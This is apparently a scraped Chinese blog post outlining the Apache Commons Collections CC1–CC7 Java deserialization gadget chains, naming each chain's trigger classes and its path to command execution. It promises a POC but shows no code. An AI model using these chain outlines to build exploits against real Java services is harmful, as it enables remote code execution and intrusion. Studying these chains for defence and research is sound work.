前言<\/h2>
本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链，涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。<\/p>

漏洞原理<\/h3>
利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用，通过 LazyMap.get() 方法执行 Transformer 链，最终实现任意命令执行。<\/p>

漏洞原理<\/h3>
利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare，通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。<\/p>

漏洞原理<\/h3>
结合 CC1 的动态代理链和 CC2 的 TemplatesImpl，使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。<\/p>

漏洞原理<\/h3>
与 CC2 类似，但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。<\/p>

漏洞原理<\/h3>
利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString，进而调用 LazyMap.get 执行 Transformer 链。<\/p>

漏洞原理<\/h3>
利用 HashSet 的 readObject 方法触发 HashMap.put，进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。<\/p>

漏洞原理<\/h3>
利用 Hashtable 的 readObject 方法触发 reconstitutionPut，通过 equals 比较触发 LazyMap.get 执行 Transformer 链。<\/p>

参考<\/h2>

https:\/\/www.freebuf.com\/articles\/web\/214096.html<\/li>
https:\/\/xz.aliyun.com\/t\/7157<\/li> <\/ol>